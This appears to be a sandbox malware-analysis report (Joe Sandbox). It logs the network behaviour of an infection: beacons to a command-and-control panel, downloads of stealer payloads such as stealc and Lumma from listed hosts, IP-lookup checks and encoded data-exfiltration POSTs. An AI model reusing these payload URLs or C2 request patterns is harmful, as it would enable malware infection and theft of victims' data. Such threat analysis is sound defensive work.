Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic HTTP traffic detected: GET /stealc/random.exe HTTP/1.1Host: 77.91.77.81
Source: global traffic HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 31Cache-Control: no-cacheData Raw: 65 31 3d 31 30 30 30 30 30 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e1=1000006001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /clrls/cl_rls.json HTTP/1.1Host: www.rapidfilestorage.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /clrls/cl_rls.json HTTP/1.1Host: www.rapidfilestorage.comConnection: Keep-AliveCache-Control: no-cache
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 34.117.186.192 34.117.186.192
Source: Joe Sandbox View IP Address: 34.117.186.192 34.117.186.192
Source: Joe Sandbox View IP Address: 104.26.9.59 104.26.9.59
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
May check the online IP address of the machine
Source: unknown DNS query: name: api.myip.com
Source: unknown DNS query: name: ipinfo.io
Source: unknown DNS query: name: ipinfo.io
Source: unknown DNS query: name: iplogger.org
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: api.myip.com
Source: global traffic HTTP traffic detected: GET /widget/demo/8.46.123.33 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic HTTP traffic detected: GET /ssl/crt.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: lop.foxesjoy.comCache-Control: no-cache
Source: global traffic HTTP traffic detected: HEAD /attachments/1255737669737254954/1257455463088394404/setup.exe?ex=66847828&is=668326a8&hm=9a0a6baa5ff045d491afd87efad3dd033618cc8c5ce04018ccc10ef67b97fd67& HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /sdgdf/fbghhj/downloads/streamer.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: bitbucket.orgCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /385137/setup.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: monoblocked.comCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /bc2514d8-2277-4dd3-a4e2-b5b0ed90570d/downloads/67e8095f-ddaa-4765-8f3a-5f79b5cf66c0/streamer.exe?response-content-disposition=attachment%3B%20filename%3D%22streamer.exe%22&AWSAccessKeyId=ASIA6KOSE3BNHVJXWTXU&Signature=6x0j3jCqJIu9ecs3s6GtlhgLnsU%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEK7%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJIMEYCIQD%2F2aNgvwR%2BzDTfk81ofa8RoMfgWY6HIHaPq6AVG5xEYAIhAJqDf3iSPie3cXsxWWnwnW8qwgK1Tac0vhv18BHJA7wsKqcCCGcQABoMOTg0NTI1MTAxMTQ2Igy8ya024r6DMXH4P4YqhAKQSomtAk%2FsqiXI2%2F3voOa7hrDvFCv9VrBtu1RIEm99MXJW7beO%2B2HqROhFQwyiH1W0FURY0nM66e6QQ1eshMPl6wuVF8aiDYVv80BaYrRUqqJbDBjHH6k2n7jlWpH4Tw1PMrRevf3ArvGyd9YcCfmAztez9uMctNQcfdK%2B8C3P%2FvVm04c%2BdJIDwxu6FMQq0TfQQoxa0hMkgxUcRdDJDFaLcnb6%2FG1Ej0KO3weudMoHZi%2FdazhGjoi%2BHAWbwlw8Vukp%2By8rtl0d%2B9YEZcfdwG6I0BtVaPDwyCTzPkXRYOFTrSdaG3zEncRQV%2FIvZhapXMg7J0ybYPS4gtKqOeLxnOmxMoOBwDDezIy0BjqcAU3U3hMrRgYyxiW6p641c%2FfbR5vglkKAfISIMwmD%2BNVhIbYo1lGxIuF0WNeBoNFVKIQ2SulUFhK2Nlg%2Ftsqf4kdPsqUD5oMW%2FuS6%2BrpQIaXGoZFElhRLRAMZFHDYRHsXbuRsAhBsBkYAT%2BIEkb3xhUStn5Xxdeh5Qm7xW4eE%2B2zdY%2B0yA6TA5cBngIMSLG3vA9TKHy64VDpvVyKfOg%3D%3D&Expires=1719872870 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: bbuseruploads.s3.amazonaws.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /attachments/1255737669737254954/1257455463088394404/setup.exe?ex=66847828&is=668326a8&hm=9a0a6baa5ff045d491afd87efad3dd033618cc8c5ce04018ccc10ef67b97fd67& HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: cdn.discordapp.comConnection: Keep-AliveCookie: __cf_bm=ex.7TgCY468wc5yu3YRkEsGRG9qmHn86dcAYyaJ385w-1719871508-1.0.1.1-5hdHtN2CIlAZ3ndgxjU1QFbaLT0pT5n.uDcbnhaYWTdTD8z4UsNVmuHyiV0JqEgrvJtmikuVD.LZq.kf7BpweA; _cfuvid=tIsBmNXiVts2Ahh4K2Kvba0M8lkel4q.Jz3q1r9HKzs-1719871508397-0.0.1.1-604800000
Source: global traffic HTTP traffic detected: GET /385137/setup.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: a.884736279.xyzConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /doc851967711_678869252?hash=7enX4Yf9Eh9a580ka8ZSEsnG3OhzAssallq1mEISP3P&dl=j8nlfPwylDCi59wUX6tJ9uBa1hYeg1sJKQmMIBqlpjL&api=1&no_preview=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: vk.comCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /doc461844031_680356434?hash=KmXLjZzwyKBjmzxff0Jo9U1YwRL71yZftAbVL5kdyKD&dl=3v6LT2A7IS0PX4HrE4vRkDm0d4mbocnTvyEbLzKxGUP&api=1&no_preview=1#def_meta HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: vk.comCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /doc5294803_669843349?hash=9zPjskz2rlw4WpxESbjigfNghvMBCG7BIpLthkH7eKs&dl=usJOnLsECNfeEiGdn2IU9JTEdwqaRFTDnZMFQJn7v9z&api=1&no_preview=1#ww11 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: vk.comCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /c237031/u851967711/docs/d44/57796f4397b6/BotClient.bmp?extra=Uo921g-adSvvTWhdB6yDb5HdFI5_X3VJlRVmHM-Bh6mJlvI7hkGi94eW7KfU-ssLh3GfPV8Ees6kZM0RD1upQfkxRtTtcM3LgknqFomcBUvMb567aPkC4b-b3Csz0akrGpBI454GBQIw HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: sun6-23.userapi.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /doc851967711_678965991?hash=15v5bIC0BdxsDWrpl71N2Lf9ztIhZN508DquMzIAGCz&dl=yDzL4lhSc6Qh08VS3lx8KlKwYrkSiYGlwvhnSbB1cMD&api=1&no_preview=1#1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: vk.comCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /c235031/u851967711/docs/d58/101acf609709/crypted.bmp?extra=Ux3hmN1iPre6dOlOSIWGtqFvEkIdvKeIAUWi6lAsDtS-lf2EKyAeU1NTXtXwHQmiuKqNE3-DjYe0f5mcu6SGTNHoKn8lJaXQr06BHIPY-Yp_iz6-eS16TocDohevBfPa-7a9dirBWiks HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: sun6-22.userapi.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /doc851967711_678909859?hash=lNew8DPFlC3FkyFwDvSRD3AUel2qUbt8XwQ47izbny0&dl=VoWAeLPwa3VHUZ6RGMrmgXoJxs6sK0ufCNL8HdLsSa4&api=1&no_preview=1#xin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: vk.comCache-Control: no-cacheCookie: remixlang=3; remixstlid=9092944805461463727_DtkQ3CUIobNM2Gxry3e19bgTzz0nGnqrsykLnhHF59z; remixlgck=374e8ec07457a99dc7; remixstid=242356419_2xqWAu8IaSk4k7yzGaEqYJBhxAcSZqxhFf8GwzSXfco; remixir=1
Source: global traffic HTTP traffic detected: GET /c235031/u851967711/docs/d19/e642d2d3ea8a/File.bmp?extra=codZE4oOkF_mb0aHMW2_KJkLotDgGHzpcd-JeGF88YLnbk2Qm4WcZoXVvzJ1HuH2HaOhqgSp6_uV0Z6TCfxUYwreX5Rq2H_XmfQYz82S4_LBrsYcRulTXC2HKGtLY-ovV1tbmUk3ivmp HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: sun6-21.userapi.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /1nhuM4.js HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: iplogger.org
Source: global traffic HTTP traffic detected: GET /api/crazyfish.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 5.42.99.177
Source: global traffic HTTP traffic detected: POST /api/twofish.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 133Host: 5.42.99.177
Source: global traffic HTTP traffic detected: HEAD /download/th/space.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 77.105.133.27Cache-Control: no-cache
Source: global traffic HTTP traffic detected: HEAD /d/525403 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 80.78.242.100Cache-Control: no-cache
Source: global traffic HTTP traffic detected: HEAD /download/123p.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 77.105.133.27Cache-Control: no-cache
Source: global traffic HTTP traffic detected: HEAD /riana/super.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 77.91.77.80Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /download/123p.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 77.105.133.27Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /download/th/space.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 77.105.133.27Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /riana/super.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 77.91.77.80Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /d/525403 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: 80.78.242.100Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /api/twofish.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Length: 517Host: 5.42.99.177
Source: global traffic HTTP traffic detected: GET /lumma2806.exe HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:129.0) Gecko/20100101 Firefox/129.0Host: 77.105.132.27Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DHIJDHIDBGHJKECBFIIDUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:129.0) Gecko/20100101 Firefox/129.0Host: tea.arpdabl.orgContent-Length: 3493Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /updates/yd/yt_wrtzr_1/win/version.txt?BAxskCrAzBkAQLhyBAyQiyrSwfaJVtVcO HTTP/1.1Accept: */*Cache-Control: no-cacheAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: www.rapidfilestorage.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /updates/yd/yt_wrtzr_1/win/version.txt?BaGHTJrEOqpSoOUUbPmVVgUlkCFxoVbnT HTTP/1.1Accept: */*Cache-Control: no-cacheAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: helsinki-dtc.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /updates/yd/yt_wrtzr_1/win/version.txt?PFusrYpNtPDdGjvKoKGcbouLSvYzMzgzu HTTP/1.1Accept: */*Cache-Control: no-cacheAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: skrptfiles.tracemonitors.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /updates/yd/wrtzr_yt_a_1/win/version.txt?lkNOHJiXnxKRAffVlKrZwoIEmkviEhCxR HTTP/1.1Accept: */*Cache-Control: no-cacheAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: www.rapidfilestorage.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /updates/yd/wrtzr_yt_a_1/win/version.txt?ZOmFPgPUTVZNbWpVqvSvPLQtsthTrEhbx HTTP/1.1Accept: */*Cache-Control: no-cacheAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: helsinki-dtc.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /updates/yd/wrtzr_yt_a_1/win/version.txt?FJSFGEosnJwNZSTgJVMlBADdAGOvxPznz HTTP/1.1Accept: */*Cache-Control: no-cacheAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: skrptfiles.tracemonitors.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /updates/yd/yt_wrtzr_1/win/version.txt?lfKppfDaSKtbiZoZrqLvfigDaXuNMaIUn HTTP/1.1Accept: */*Cache-Control: no-cacheAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: www.rapidfilestorage.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /updates/yd/yt_wrtzr_1/win/version.txt?BsbCNQNrlQruMiRbNuFhJgcZknRTSMCKj HTTP/1.1Accept: */*Cache-Control: no-cacheAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: helsinki-dtc.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /updates/yd/yt_wrtzr_1/win/version.txt?nWWigaXNQYYJICpsdMZSxscisfoqitXJL HTTP/1.1Accept: */*Cache-Control: no-cacheAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: skrptfiles.tracemonitors.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /updates/yd/yt_wrtzr_1/win/version.txt HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: www.rapidfilestorage.com
Source: global traffic HTTP traffic detected: POST /api2/google_api_ifi HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/0 Safari/537.36Host: api2.check-data.xyzContent-Length: 722Connection: Keep-AliveCache-Control: no-cacheData Raw: 6b 3d 4d 4a 33 56 42 49 38 6f 5a 31 49 56 34 46 6b 31 73 6e 7a 36 51 44 6e 26 72 3d 4c 46 53 56 37 4d 46 53 56 33 4b 46 53 56 35 5a 45 53 56 39 48 46 53 56 37 26 67 3d 4e 44 53 56 36 5a 45 53 56 32 4b 46 53 56 33 49 46 53 56 39 4a 46 53 56 31 59 45 53 56 34 48 46 53 56 30 4e 46 53 56 30 4e 45 53 56 34 4c 46 53 56 39 4f 44 53 56 35 4c 44 53 56 33 4e 46 53 56 35 4e 45 53 56 30 4b 46 53 56 34 5a 45 53 56 31 4b 46 53 56 35 50 44 53 56 34 4e 45 53 56 37 59 45 53 56 39 4e 46 53 56 37 50 44 53 56 35 4b 46 53 56 37 4e 45 53 56 36 48 46 53 56 30 48 46 53 56 38 48 46 53 56 32 51 44 53 56 39 48 46 53 56 38 4d 44 53 56 31 4b 46 53 56 37 5a 45 53 56 31 4c 44 53 56 35 48 46 53 56 32 51 44 53 56 31 4f 44 53 56 37 26 76 3d 49 46 53 56 30 4f 45 53 56 39 47 46 53 56 32 4f 45 53 56 36 47 46 53 56 30 4f 45 53 56 35 4a 46 53 56 38 48 46 53 56 37 5a 45 53 56 39 59 45 53 56 31 26 63 3d 4e 43 53 56 36 59 43 53 56 31 5a 44 53 56 30 42 44 53 56 36 57 43 53 56 37 59 43 53 56 39 4f 43 53 56 38 57 43 53 56 33 5a 44 53 56 31 48 46 53 56 31 26 75 3d 49 46 53 56 32 4a 46 53 56 30 48 46 53 56 34 4e 44 53 56 39 4e 46 53 56 34 4b 46 53 56 31 4f 44 53 56 38 4c 46 53 56 33 4b 46 53 56 39 4d 44 53 56 34 4f 44 53 56 33 4d 46 53 56 39 4b 46 53 56 38 4f 44 53 56 31 4c 44 53 56 37 48 46 53 56 35 4d 44 53 56 33 48 46 53 56 37 4e 46 53 56 38 51 44 53 56 37 4d 44 53 56 38 47 46 53 56 30 51 44 53 56 39 4c 46 53 56 34 5a 45 53 56 33 59 45 53 56 33 59 45 53 56 33 59 45 53 56 33 4f 44 53 56 35 4a 46 53 56 37 48 46 53 56 33 4d 44 53 56 31 26 72 67 3d 5a 45 53 56 38 4d 46 53 56 30 48 46 53 56 36 49 46 53 56 34 59 45 53 56 36 4d 44 53 56 30 4b 46 53 56 33 59 45 53 56 31 4e 45 53 56 33 4e 44 53 56 36 47 46 53 56 30 51 44 53 56 34 47 46 53 56 36 4e 45 53 56 36 47 46 53 56 36 48 46 53 56 34 48 46 53 56 35 4c 44 53 56 32 4e 45 53 56 32 4c 46 53 56 32 49 46 53 56 31 4e 46 53 56 36 49 46 53 56 33 4e 45 53 56 36 59 45 53 56 34 4b 46 53 56 38 4c 46 53 56 33 49 46 53 56 37 49 46 53 56 30 50 44 53 56 34 4d 46 53 56 37 5a 45 53 56 30 4b 46 53 56 32 4b 46 53 56 39 50 44 53 56 37 4d 44 53 56 30 26 77 3d 4c 46 53 56 32 49 46 53 56 31 4c 46 53 56 36 4b 46 53 56 33 47 46 53 56 37 4a 46 53 56 39 Data Ascii: k=MJ3VBI8oZ1IV4Fk1snz6QDn&r=LFSV7MFSV3KFSV5ZESV9HFSV7&g=NDSV6ZESV2KFSV3IFSV9JFSV1YESV4HFSV0NFSV0NESV4LFSV9ODSV5LDSV3NFSV5NESV0KFSV4ZESV1KFSV5PDSV4NESV7YESV9NFSV7PDSV5KFSV7NESV6HFSV0HFSV8HFSV2QDSV9HFSV8MDSV1KFSV7ZESV1LDSV5HFSV2QDSV1ODSV7&v=IFSV0OESV9GFSV2OESV6GFSV0OESV5JFSV8HFSV7ZESV9YESV1&c=NCSV6YCSV1ZDSV0BDSV6WCSV7YCSV9OCSV8WCSV3ZDSV1HFSV1&u=IFSV2JFSV0HFSV4NDSV9NFSV4KFSV1ODSV8LFSV3KFSV9MDSV4ODSV3MFSV9KFSV8ODSV1LDSV7HFSV5MDSV3HFSV7NFSV8QDSV7MDSV8GFSV0QDSV9LFSV4ZESV3YESV3YESV3YESV3ODSV5JFSV7HFSV3MDSV1&rg=ZESV8MF
Source: global traffic HTTP traffic detected: GET /updates/yd/yt_wrtzr_1/win/version.txt HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: helsinki-dtc.com
Source: global traffic HTTP traffic detected: GET /updates/yd/yt_wrtzr_1/win/version.txt HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: skrptfiles.tracemonitors.com
Source: global traffic HTTP traffic detected: GET /updates/yd/wrtzr_yt_a_1/win/version.txt?lVCwnpMUrdtQuoonAEIPdNPTEKYCDRfxr HTTP/1.1Accept: */*Cache-Control: no-cacheAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: www.rapidfilestorage.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /updates/yd/wrtzr_yt_a_1/win/version.txt?uKnuZolhihzrwcGciuiXPYJRFqygVFjtF HTTP/1.1Accept: */*Cache-Control: no-cacheAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: helsinki-dtc.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /updates/yd/wrtzr_yt_a_1/win/version.txt?UpPMoHiZGixvnmLTDXgCACmDdHoeBzWlB HTTP/1.1Accept: */*Cache-Control: no-cacheAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: skrptfiles.tracemonitors.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /updates/yd/wrtzr_yt_a_1/win/version.txt HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: www.rapidfilestorage.com
Source: global traffic HTTP traffic detected: GET /updates/yd/wrtzr_yt_a_1/win/version.txt HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: helsinki-dtc.com
Source: global traffic HTTP traffic detected: GET /updates/yd/wrtzr_yt_a_1/win/version.txt HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: skrptfiles.tracemonitors.com
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 173.222.162.64:443 -> 192.168.2.6:49761 version: TLS 1.0
Source: unknown TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown TCP traffic detected without corresponding DNS query: 5.42.99.177
Source: unknown TCP traffic detected without corresponding DNS query: 5.42.99.177
Source: unknown TCP traffic detected without corresponding DNS query: 5.42.99.177
Source: unknown TCP traffic detected without corresponding DNS query: 5.42.99.177
Source: unknown TCP traffic detected without corresponding DNS query: 5.42.99.177
Source: unknown TCP traffic detected without corresponding DNS query: 5.42.99.177
Source: unknown TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown TCP traffic detected without corresponding DNS query: 5.42.99.177
Source: unknown TCP traffic detected without corresponding DNS query: 173.222.162.64
